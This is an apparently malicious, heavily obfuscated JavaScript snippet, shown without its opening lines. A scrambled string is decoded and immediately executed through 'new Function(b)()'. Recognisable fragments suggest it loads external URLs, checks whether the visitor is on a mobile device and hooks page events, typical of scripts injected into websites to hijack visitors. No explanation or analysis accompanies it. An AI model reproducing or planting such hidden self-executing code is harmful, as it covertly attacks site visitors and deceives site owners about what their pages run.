VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/f/o}0j(8}vR8C{}YQJ6o1("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();